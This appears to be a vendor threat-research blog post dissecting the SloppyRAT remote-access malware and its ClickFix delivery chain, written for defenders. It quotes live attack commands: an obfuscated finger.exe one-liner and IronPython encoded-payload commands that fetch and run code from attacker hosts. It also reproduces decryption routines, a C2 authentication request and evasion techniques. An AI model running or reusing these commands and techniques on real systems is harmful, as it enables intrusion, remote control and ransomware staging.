SloppyRAT: A New Tool For Ransomware Attacks

Introduction

In June 2026, Zscaler ThreatLabz identified a new malware family, tracked as SloppyRAT, that is likely leveraged by a ransomware-related threat actor. ThreatLabz observed SloppyRAT being delivered through a multi-stage ClickFix infection chain. The malware supports a variety of features including a large number of built-in PowerShell-like commands, encrypted code blocks, EtherHiding for command-and-control (C2) resolution through the Polygon JSON-RPC protocol, and multiple anti-analysis techniques. Beyond SloppyRAT’s capabilities, the malware is notable because the codebase includes numerous software flaws, which suggest that it is still under development.

Key Takeaways

• In June 2026, ThreatLabz identified SloppyRAT, a new malware family likely used in ransomware attacks to establish a foothold for lateral movement.
• SloppyRAT uses several techniques to make analysis more difficult, including encrypted code blocks that are decrypted and executed at runtime, as well as junk code and indirect system calls.
• SloppyRAT has an EtherHiding implementation as a backup channel for C2, which can be used to hinder disruption efforts.
• SloppyRAT uses certificate pinning to prevent networking monitoring solutions from using Man-in-the-Middle (MiTM) attacks to inspect TLS traffic.
• SloppyRAT has a large number of built-in PowerShell-like commands that provide attackers with remote access.
• The code contains software bugs that impact some of SloppyRAT’s features.

Technical Analysis

In the following sections, ThreatLabz provides a technical analysis of SloppyRAT, including its infection vector, anti-analysis techniques, network protocol, and command execution functionality.

Infection vector

ThreatLabz observed SloppyRAT distributed via a ClickFix style lure, using finger.exe to download and execute a batch script from finger.linked4x[.]com as shown in the command line below:

"C:\windows\system32\cmd.exe" /c s^t^a^r^t "" /min for /f "delims=@" %o in (',f^^i^^n^^g^^e^^r^^r^^r^^g^^e^^r ixwcQmlCSK@f^^i^^n^^g^^e^^r^^r^^e^^r^^.^^linked4x.com') do %o & ' --Verify ---------------------------- press---ENTER-- '

The finger.exe utility uses the Finger protocol, which typically communicates with servers over TCP port 79. Most corporate environments do not require this tool or protocol. Therefore, organizations can block egress traffic on port 79 and block the execution of the finger.exe utility.

The downloaded batch script copies (the native Windows) curl.exe to the AppData directory using a filename that consists of numbers and a .com extension. The renamed curl executable is then used to download IronPython from GitHub using the following command line: 

"C:\Users\[redacted]\AppData\Local\9342371634011778.com" -s -L --tlsv1.2 --ssl-no-revoke -o "C:\Users\[redacted]\AppData\Local\IronPython.3.4.2.pdf" github.com/IronLanguages/ironpython3/releases/download/v3.4.2/IronPython.3.4.2.zip

IronPython is renamed and then used to execute zlib compressed Base64-encoded Python code via the command line shown below, which downloads and runs additional stages, leading to the deployment of CastleLoader, and ultimately, CastleRAT.

"C:\Users\[redacted]\AppData\Local\IronPython.3.4.2\net462\31706105999761.exe" -c "import base64,zlib,sys,subprocess as s;s.Popen([sys.executable,'-c',zlib.decompress(base64.b64decode('eJytEtLwAUhbMW/A8FF0Bq1aeEirhpeALi4o7qw1ixdbWPLQq/eege/iJVgN4uIjmfuaM2earkVRNBYPYleci4E4Eh1kL7FiTgTU2JvYov4TPtoDfFEzEUu+mJHHIiVscJee/rCvEuUokFPjq69YXLJzv7StZjd/Y70SYe5jxtLl6CncL09xtBzi2fW26c+ITfkPSVX0luQH/FeoDd3M4P2Jzdv7s6x/41ndfSUzHwhluFByjNB828azi+souev/OZ874d8LjPL/NotmDwj+w7y88+6yh72Lkm9AzpuxcM9Q8wlX0n0e')).decode('utf-32'))]"

Note that the CastleLoader and CastleRAT components were downloaded from skipraid[.]com using the User-Agent string K8VGmQTrzX. Alongside CastleRAT, the threat actor chose to deploy an additional Python interpreter that was downloaded and written to disk (instead of re-using the IronPython interpreter). The threat actor then used the pythonw.exe interpreter to download and execute a Python script from hxxps://stro7121.blob.core.windows[.]net/dpp1/config.py.

SloppyRAT stager

The config.py script’s purpose is to download and reflectively load a DLL in memory. This script downloaded a SloppyRAT DLL from hxxps[://]stro7121[.]blob[.]core[.]windows[.]net/dpp1/hostfxr[.]dll and invoked the DLL export name f3b980dea. The config.py script used the distinctive User-Agent Mozilla/5.0 (compatible; DLLMemLoader/1.0). The SloppyRAT DLL that was downloaded from this URL is the sample that was analyzed in the following sections.

Anti-analysis

SloppyRAT employs several anti-analysis techniques to hinder analysis and detection.

String obfuscation

SloppyRAT uses three string obfuscation methods. The first decodes strings constructed on the stack, the second decodes global values, and the third decodes strings related to Polygon C2 communications.

Stack strings are obfuscated with XOR using a unique 4-byte key for each string. Global values are decrypted using XOR, but with a single-byte key that changes per string. These strings include configuration values such as the SHA256 certificate hash, C2 URL, encryption key (which serves several purposes, including network communication) and an API key used for authentication.

The Polygon resolver’s C2 strings use an affine cipher loop algorithm. Affine ciphers typically use the number 26 as a modulus to represent the English alphabet. However, SloppyRAT uses the modulus 127, which is the size of the ASCII table. Because the number 127 is coprime with all the numbers from 1 to 126, the algorithm avoids collisions and remains reversible. The following Python code implements the decryption algorithm, with A and B representing the keys that change for each string:

(A * c + B) % 127 for c in cipher

Encrypted code blocks

SloppyRAT also uses code encryption to hinder analysis. A total of 13 functions are decrypted and executed at runtime. Information for each encrypted code block is stored in a table with the following structure:

struct encrypted_routines_table
{
   uint32_t rva;
   uint32_t size;
   uint32_t key;
   uint32_t reserved;
};

SloppyRAT uses the following XOR-based algorithm to decrypt each code block:

    for i in range(len(encrypted_function_buffer)):
       encrypted_function_buffer[i] ^= (i & 0xFF) ^ ((key >> (i & 31)) & 0xFF)
   return encrypted_function_buffer

The functions are decrypted in place after the section permissions are changed to read/write/execute. The code remains decrypted in memory until the process terminates. Although the code can re-encrypt the functions with a different key (and SloppyRAT caches a copy of the plaintext for this purpose), this capability is not currently used, as shown in the figure below. 

Figure 1: SloppyRAT runtime code decryption routine.

The 13 encrypted functions primarily support the malware’s initialization and network communication. The purpose of these functions is described below:

1. Reads configuration global values and enters the communication loop.
2. Dispatches tasks to the internal command execution handlers.
3. Generates the machine ID and the session nonce used as a request ID for SOCKS communication.
4. Creates a reverse SOCKS worker thread.
5. Stops the reverse SOCKS worker thread.
6. Requests a command from the C2 and parses the JSON response into an internal task structure.
7. Generates a folder path for persistence in %LOCALAPPDATA%.
8. Starts the C2 worker thread.
9. Stores the returned session token in a global variable for subsequent authenticated requests.
10. Runs the C2 worker loop.
11. Checks whether the resolved NTDLL syscall gadget begins with 0F 05.
12. Stops the C2 worker thread.
13. Reads 4 configuration global values from the .rdata section.
     

Junk code

The SloppyRAT malware author inserted junk code throughout the program to hinder static analysis and evade signature-based antivirus detection. Most of this junk code serves no meaningful purpose such as allocating and freeing memory, calling Windows API functions, and performing bitwise operations. An example of the junk code is shown below.

Figure 2: Example of SloppyRAT junk code.

Indirect system calls and API hashing

Like many modern malware families, SloppyRAT uses a Hell’s Gate-style technique to avoid security products that hook various Windows API functions. SloppyRAT first resolves the DJB2 hashes associated with the functions listed in the table below:

Table 1: Windows API functions resolved by SloppyRAT using DJB2 hashes.

After identifying an export by its hash, SloppyRAT reads the start of the function. The malware searches the NTDLL stub for the opcode B8 (mov eax), extracts that 4-byte immediate value, and stores the syscall number in an internal table. The following assembly code shows how one of these NT functions can be parsed to obtain the syscall number.

mov  r10, rcx          ; bytes: 4C 8B D1
mov  eax, 0x123        ; bytes: B8 23 01 00 00     ← the syscall number
syscall                ; bytes: 0F 05
ret                    ; bytes: C3

When SloppyRAT invokes the corresponding function, it does so through a direct syscall instead of using the Windows API. Note that SloppyRAT only uses the following 10 (out of the 21) resolved functions in the code:

• NtAllocateVirtualMemory 
• NtWriteVirtualMemory 
• NtCreateThreadEx 
• NtProtectVirtualMemory 
• NtResumeThread 
• NtCreateFile 
• NtCreateKey 
• NtWaitForSingleObject 
• NtTerminateProcess 
• NtOpenProcess

Persistence

Some SloppyRAT variants do not establish persistence. The variants that do, use one of two methods:

• Adding an entry under the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key with the name rundll32.
• If the registry entry cannot be set, then SloppyRAT appears to be designed to perform COM hijacking by adding the malware path to the HKLM\Software\Classes\CLSID\{[clsid]}\InprocServer32 registry key instead.

However, both methods appear to be implemented incorrectly. The Run registry value is set to execute rundll32.exe without specifying the necessary path to the SloppyRAT DLL and invoking the required export.

The figure below shows SloppyRAT’s failed attempt to establish persistence using the Run registry key.

Figure 3: SloppyRAT’s failed attempt at establishing persistence via the Run registry key.

For COM hijacking to work, SloppyRAT must replace an already existing CLSID with a value to execute its own DLL. However, the malware generates a completely new CLSID based on the FNV-1a hash of the computer name, defeating the purpose of the technique. Similar to the Run registry code, SloppyRAT also doesn’t provide the correct path to the DLL and export in the CLSID value. 

The figure below shows SloppyRAT’s unsuccessful attempt to establish persistence through COM hijacking.

Figure 4: SloppyRAT’s failed COM hijacking attempt.

Network communication

SloppyRAT communicates over HTTPS with JSON-formatted messages. Depending on the sample, the C2 URL may be embedded in the configuration or retrieved from the Polygon blockchain through EtherHiding.

Certificate pinning

During the TLS handshake, SloppyRAT compares the server certificate against a hardcoded SHA256 hash. If the hash value does not match, SloppyRAT closes the connection, preventing network monitoring via TLS MiTM attacks. Older samples perform the TLS handshake through raw SChannel sockets, while newer samples use the WinHTTP API and retrieve the leaf certificate through WinHttpQueryOption. SloppyRAT computes the SHA256 hash of the entire DER-encoded certificate, rather than just the public key.

Endpoints

After completing the certificate-pinning check, SloppyRAT sends an authentication request with a hardcoded API key value in the X-API-Key HTTP header. The request also includes a machine ID (generated using an FNV hash of the volume serial number, volume name, file system name, and computer name) and a version number that may represent either the malware or protocol version. An example request is shown below.

POST /api/auth HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: CommandExecutor/1.0
X-API-KEY: af4c426b8c4b3b4957875206948eedae09b670f349f2ffb70df7b7a6b06cd588
Content-Length: 49
Host: api.truesmart.org

{"machine_id":"ae2e634db646790f","version":"1.0"}

The SloppyRAT C2 server returns a session token, which the malware includes in subsequent requests using the Authorization Bearer HTTP header. For proxy-connection acknowledgements, SloppyRAT sends the token in the X-CSRF-Token header instead. The protocol supports authentication, system information reporting, and task execution. The C2 endpoints available are listed in the table below:

Table 2: SloppyRAT C2 communication endpoints.

The command results and system information are sent encrypted with RC4 using a hardcoded key and then Base64-encoded. SloppyRAT also supports a separate reverse SOCKS connection through the /api/poll response, allowing the operator to use the infected host as a proxy to access other systems on an internal corporate network for lateral movement.

EtherHiding

To improve resilience against takedowns, SloppyRAT can retrieve C2 information from the Polygon blockchain network. However, this capability may still be in development because ThreatLabz has not identified any samples containing a smart contract address. Only the contract selector 0xd6bd8727 has been observed. The smart contract address can be supplied either in the configuration at build time or through the LOADER_POLYGON_RESOLVER environment variable.

Command execution

Each command received from the C2 server is formatted as JSON and contains a shell_type field with one of the following values:

• powershell
• cmd
• auto or inline (depending on the variant)

The shell_type value is paired with a command string that determines which command handler SloppyRAT uses. The powershell value selects one of three increasingly-noisy command handlers (i.e. most likely to reduce the chances of triggering an EDR detection) to execute commands. The cmd value executes commands through WMI. The auto value chooses the appropriate command handler based on the command sent, while inline is a newer option that replaces auto in some variants that invokes the PSInline PowerShell handler described later.

Built-in PowerShell-like command execution

If the shell_type is set to powershell, SloppyRAT first checks whether the command string matches one of 47 built-in commands. Although their names resemble PowerShell cmdlets, these commands are implemented in C++ and interact directly with Windows APIs rather than PowerShell. The table below lists these commands.

Table 3: Built-in commands implemented by SloppyRAT.

ThreatLabz identified SloppyRAT variants that omit these built-in commands, reducing the size of the binary by approximately 400KB.

PowerShell (PSInline) execution via CLR

If the shell_type is set to powershell (or inline in some variants) but the command does not match a built-in command, SloppyRAT loads the .NET common language runtime (CLR) execution engine (clr.dll) through COM objects. It then loads System.Management.Automation.dll and calls PowerShell.Create().AddScript(cmd).Invoke() to execute the command. The SloppyRAT code internally refers to this command handler as PSInline.

The handler stores the most recent command results in a temporary file in the %TEMP% directory. The filename uses a PNG extension to disguise itself as an image file. The contents of the file include a PNG header and the command results, which are encrypted via XOR with the hardcoded key (also used for network communication) in SloppyRAT’s configuration.

PPID-spoofed PowerShell (PSSpoof) execution

This command execution path, referred to internally as PSSpoof, is only used when the .NET CLR instantiation through the PSInline command handler fails. This may happen if .NET is not installed or the COM interface is incompatible with the existing .NET installation. In this case, SloppyRAT spawns an actual powershell.exe process but with explorer.exe as the parent process ID. Parent process ID spoofing is accomplished by constructing a STARTUPINFOEX structure with the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute pointing to a handle for the explorer.exe process, then calling CreateProcessW. 

WMI command execution

SloppyRAT also supports the value cmd for the shell_type, which launches a command-line through WMI using Win32_Process::Create.

Conclusion

SloppyRAT includes extraneous functionality, unusual design choices, and chaotic code. However, SloppyRAT’s capabilities are sufficient to support information gathering, reconnaissance, and lateral movement for ransomware-related attacks. The malware author also implemented a number of techniques to hinder static code analysis, endpoint detection, and network monitoring solutions. Organizations should take measures to ensure they have the proper security solutions in place to detect and prevent ClickFix-style attacks and subsequent payloads.

Zscaler Coverage

Zscaler’s multilayered cloud security platform detects indicators related to SloppyRAT at various levels. The figure below depicts the Zscaler Cloud Sandbox, showing detection details for SloppyRAT.

Figure 5: Zscaler Cloud Sandbox Report for SloppyRAT.

In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to the threat described in this blog with the following threat names:

• Win64.Loader.PSInlineLoader
• Win64.Rat.SloppyRAT

Zscaler MDR also detects this threat on endpoints using indicators of compromise and this detection analytic:

• WIN-PYTHON-REMOTE-CODE-EXEC

Indicators Of Compromise (IOCs)